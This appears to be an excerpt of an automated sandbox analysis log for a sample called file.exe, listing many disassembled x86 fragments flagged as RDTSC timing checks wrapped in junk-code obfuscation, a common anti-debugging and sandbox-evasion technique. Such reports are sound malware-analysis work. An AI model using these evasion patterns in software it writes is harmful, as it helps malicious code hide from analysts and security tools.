Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115BAF7 second address: 115BB01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FAD1CCFA086h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115BB01 second address: 115BB2A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1D201C2Dh 0x00000007 jmp 00007FAD1D201C30h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jc 00007FAD1D201C26h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115C2FB second address: 115C301 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115C301 second address: 115C31F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FAD1D201C31h 0x0000000c jp 00007FAD1D201C26h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115C31F second address: 115C334 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jnc 00007FAD1CCFA086h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push edi 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115C46A second address: 115C472 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115C472 second address: 115C47E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FAD1CCFA086h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115C5B3 second address: 115C5BD instructions: 0x00000000 rdtsc 0x00000002 jl 00007FAD1D201C42h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1160958 second address: 116096E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jc 00007FAD1CCFA086h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116096E second address: 1160972 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1160BBB second address: 1160BD1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1CCFA08Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1160CE7 second address: 1160D36 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FAD1D201C39h 0x00000008 jmp 00007FAD1D201C33h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 jns 00007FAD1D201C3Eh 0x00000019 mov eax, dword ptr [eax] 0x0000001b push eax 0x0000001c push edx 0x0000001d ja 00007FAD1D201C2Ch 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11623CC second address: 11623E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAD1CCFA094h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11623E4 second address: 11623E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11623E8 second address: 11623F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FAD1CCFA086h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107A5E5 second address: 107A5EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107A5EA second address: 107A603 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jnl 00007FAD1CCFA086h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FAD1CCFA08Ah 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA039C second address: 4BA03A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA03A2 second address: 4BA03B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA03B0 second address: 4BA03B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov al, dh 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA042F second address: 4BA0433 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA0433 second address: 4BA0437 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA0437 second address: 4BA043D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD0463 second address: 4BD0469 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD0469 second address: 4BD04A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx eax, bx 0x00000006 mov eax, ebx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FAD1CCFA096h 0x00000011 mov dword ptr [esp], ebp 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FAD1CCFA097h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD04A7 second address: 4BD04AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD04AC second address: 4BD04E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007FAD1CCFA097h 0x00000010 xchg eax, ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FAD1CCFA095h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD04E6 second address: 4BD0536 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FAD1D201C37h 0x00000009 adc ch, FFFFFFAEh 0x0000000c jmp 00007FAD1D201C39h 0x00000011 popfd 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 pushad 0x00000017 mov bx, cx 0x0000001a mov ax, 0BC5h 0x0000001e popad 0x0000001f xchg eax, ecx 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 push edx 0x00000024 pop ecx 0x00000025 mov di, 926Ch 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD066E second address: 4BD067D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1CCFA08Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD067D second address: 4BD0683 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD0683 second address: 4BD0687 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD0687 second address: 4BD068B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD068B second address: 4BD069B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD069B second address: 4BD069F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD069F second address: 4BD06B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1CCFA094h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD06B7 second address: 4BD06D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov al, bl 0x00000005 mov bx, cx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007FAD1D201C62h 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FAD1D201C2Bh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD0741 second address: 4BC001E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1CCFA099h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 retn 0004h 0x0000000c nop 0x0000000d cmp eax, 00000000h 0x00000010 setne al 0x00000013 xor ebx, ebx 0x00000015 test al, 01h 0x00000017 jne 00007FAD1CCFA087h 0x00000019 xor eax, eax 0x0000001b sub esp, 08h 0x0000001e mov dword ptr [esp], 00000000h 0x00000025 mov dword ptr [esp+04h], 00000000h 0x0000002d call 00007FAD20A034C3h 0x00000032 mov edi, edi 0x00000034 jmp 00007FAD1CCFA092h 0x00000039 xchg eax, ebp 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d mov si, di 0x00000040 mov dh, 78h 0x00000042 popad 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC001E second address: 4BC0024 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC0024 second address: 4BC0028 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC0028 second address: 4BC002C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC002C second address: 4BC0059 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov ecx, edi 0x0000000e pushfd 0x0000000f jmp 00007FAD1CCFA091h 0x00000014 jmp 00007FAD1CCFA08Bh 0x00000019 popfd 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC0059 second address: 4BC008D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1D201C39h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FAD1D201C2Eh 0x0000000f mov ebp, esp 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 mov di, si 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC008D second address: 4BC0111 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FAD1CCFA098h 0x00000008 xor ax, 9118h 0x0000000d jmp 00007FAD1CCFA08Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushfd 0x00000016 jmp 00007FAD1CCFA098h 0x0000001b sub cl, 00000078h 0x0000001e jmp 00007FAD1CCFA08Bh 0x00000023 popfd 0x00000024 popad 0x00000025 push FFFFFFFEh 0x00000027 pushad 0x00000028 pushfd 0x00000029 jmp 00007FAD1CCFA094h 0x0000002e and cx, 15D8h 0x00000033 jmp 00007FAD1CCFA08Bh 0x00000038 popfd 0x00000039 push eax 0x0000003a push edx 0x0000003b mov cl, BBh 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC0111 second address: 4BC0195 instructions: 0x00000000 rdtsc 0x00000002 mov ebx, 2F7D96C6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push 25509494h 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007FAD1D201C38h 0x00000016 add ecx, 3E424768h 0x0000001c jmp 00007FAD1D201C2Bh 0x00000021 popfd 0x00000022 pushfd 0x00000023 jmp 00007FAD1D201C38h 0x00000028 adc cl, FFFFFFC8h 0x0000002b jmp 00007FAD1D201C2Bh 0x00000030 popfd 0x00000031 popad 0x00000032 add dword ptr [esp], 505E09B4h 0x00000039 pushad 0x0000003a jmp 00007FAD1D201C34h 0x0000003f push eax 0x00000040 push edx 0x00000041 mov bl, al 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC0195 second address: 4BC0205 instructions: 0x00000000 rdtsc 0x00000002 mov ch, bl 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push 08F36E51h 0x0000000c jmp 00007FAD1CCFA095h 0x00000011 add dword ptr [esp], 6CB5BD1Fh 0x00000018 jmp 00007FAD1CCFA08Eh 0x0000001d mov eax, dword ptr fs:[00000000h] 0x00000023 pushad 0x00000024 pushfd 0x00000025 jmp 00007FAD1CCFA08Eh 0x0000002a or cl, FFFFFFE8h 0x0000002d jmp 00007FAD1CCFA08Bh 0x00000032 popfd 0x00000033 push eax 0x00000034 push ebx 0x00000035 pop esi 0x00000036 pop edx 0x00000037 popad 0x00000038 nop 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007FAD1CCFA08Dh 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC0205 second address: 4BC020B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC020B second address: 4BC023B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1CCFA093h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FAD1CCFA094h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC023B second address: 4BC024D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAD1D201C2Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC024D second address: 4BC02C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1CCFA08Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c jmp 00007FAD1CCFA096h 0x00000011 sub esp, 18h 0x00000014 pushad 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007FAD1CCFA08Ch 0x0000001c xor ax, ED98h 0x00000021 jmp 00007FAD1CCFA08Bh 0x00000026 popfd 0x00000027 push ecx 0x00000028 pop edi 0x00000029 popad 0x0000002a call 00007FAD1CCFA094h 0x0000002f pushad 0x00000030 popad 0x00000031 pop eax 0x00000032 popad 0x00000033 push ebx 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007FAD1CCFA093h 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC02C9 second address: 4BC0319 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1D201C39h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebx 0x0000000c jmp 00007FAD1D201C2Eh 0x00000011 xchg eax, esi 0x00000012 jmp 00007FAD1D201C30h 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FAD1D201C2Eh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC0319 second address: 4BC03C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1CCFA08Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b jmp 00007FAD1CCFA094h 0x00000010 pushfd 0x00000011 jmp 00007FAD1CCFA092h 0x00000016 xor cx, 58A8h 0x0000001b jmp 00007FAD1CCFA08Bh 0x00000020 popfd 0x00000021 popad 0x00000022 xchg eax, edi 0x00000023 jmp 00007FAD1CCFA096h 0x00000028 push eax 0x00000029 jmp 00007FAD1CCFA08Bh 0x0000002e xchg eax, edi 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 mov eax, edx 0x00000034 pushfd 0x00000035 jmp 00007FAD1CCFA097h 0x0000003a xor ecx, 0436B3FEh 0x00000040 jmp 00007FAD1CCFA099h 0x00000045 popfd 0x00000046 popad 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC03C5 second address: 4BC03CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC03CB second address: 4BC03CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC04DE second address: 4BC0513 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, esi 0x00000005 pushfd 0x00000006 jmp 00007FAD1D201C32h 0x0000000b or ah, FFFFFFF8h 0x0000000e jmp 00007FAD1D201C2Bh 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 jns 00007FAD1D201C80h 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC0513 second address: 4BC0517 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC0517 second address: 4BC054E instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FAD1D201C30h 0x00000008 adc cx, 1858h 0x0000000d jmp 00007FAD1D201C2Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 mov esi, 0ECF990Fh 0x0000001a popad 0x0000001b add eax, ecx 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 mov ax, di 0x00000023 pushad 0x00000024 popad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC054E second address: 4BC0584 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1CCFA096h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, dword ptr [ebp+08h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FAD1CCFA097h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB02C2 second address: 4BB02C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB02C6 second address: 4BB02CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB02CC second address: 4BB02D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB02D1 second address: 4BB0309 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop edx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov bl, cl 0x0000000d mov ecx, edx 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 mov ah, dh 0x00000016 pushfd 0x00000017 jmp 00007FAD1CCFA08Eh 0x0000001c sub esi, 52BDCCE8h 0x00000022 jmp 00007FAD1CCFA08Bh 0x00000027 popfd 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0309 second address: 4BB0321 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAD1D201C34h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0321 second address: 4BB0330 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0330 second address: 4BB0374 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1D201C32h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007FAD1D201C30h 0x00000010 sub esp, 2Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FAD1D201C37h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0374 second address: 4BB03A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1CCFA099h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FAD1CCFA08Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB03A1 second address: 4BB03C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1D201C31h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov dl, cl 0x0000000f movsx ebx, ax 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB03C0 second address: 4BB03D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAD1CCFA08Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB03D0 second address: 4BB0412 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1D201C2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FAD1D201C2Bh 0x00000015 xor ah, 0000006Eh 0x00000018 jmp 00007FAD1D201C39h 0x0000001d popfd 0x0000001e movzx eax, bx 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0412 second address: 4BB0418 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0418 second address: 4BB044C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1D201C34h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, edi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FAD1D201C37h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB044C second address: 4BB0452 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0452 second address: 4BB0456 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0513 second address: 4BB058C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1CCFA099h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub edi, edi 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FAD1CCFA08Dh 0x00000012 adc eax, 57F634F6h 0x00000018 jmp 00007FAD1CCFA091h 0x0000001d popfd 0x0000001e pushfd 0x0000001f jmp 00007FAD1CCFA090h 0x00000024 xor ch, 00000018h 0x00000027 jmp 00007FAD1CCFA08Bh 0x0000002c popfd 0x0000002d popad 0x0000002e inc ebx 0x0000002f pushad 0x00000030 push eax 0x00000031 mov esi, edi 0x00000033 pop ebx 0x00000034 movzx ecx, dx 0x00000037 popad 0x00000038 test al, al 0x0000003a push eax 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB058C second address: 4BB0590 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0590 second address: 4BB0596 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0596 second address: 4BB060B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1D201C33h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FAD1D201DB2h 0x0000000f jmp 00007FAD1D201C36h 0x00000014 lea ecx, dword ptr [ebp-14h] 0x00000017 pushad 0x00000018 mov bx, ax 0x0000001b pushfd 0x0000001c jmp 00007FAD1D201C2Ah 0x00000021 or ah, 00000038h 0x00000024 jmp 00007FAD1D201C2Bh 0x00000029 popfd 0x0000002a popad 0x0000002b mov dword ptr [ebp-14h], edi 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 mov esi, ebx 0x00000033 jmp 00007FAD1D201C37h 0x00000038 popad 0x00000039 rdtsc
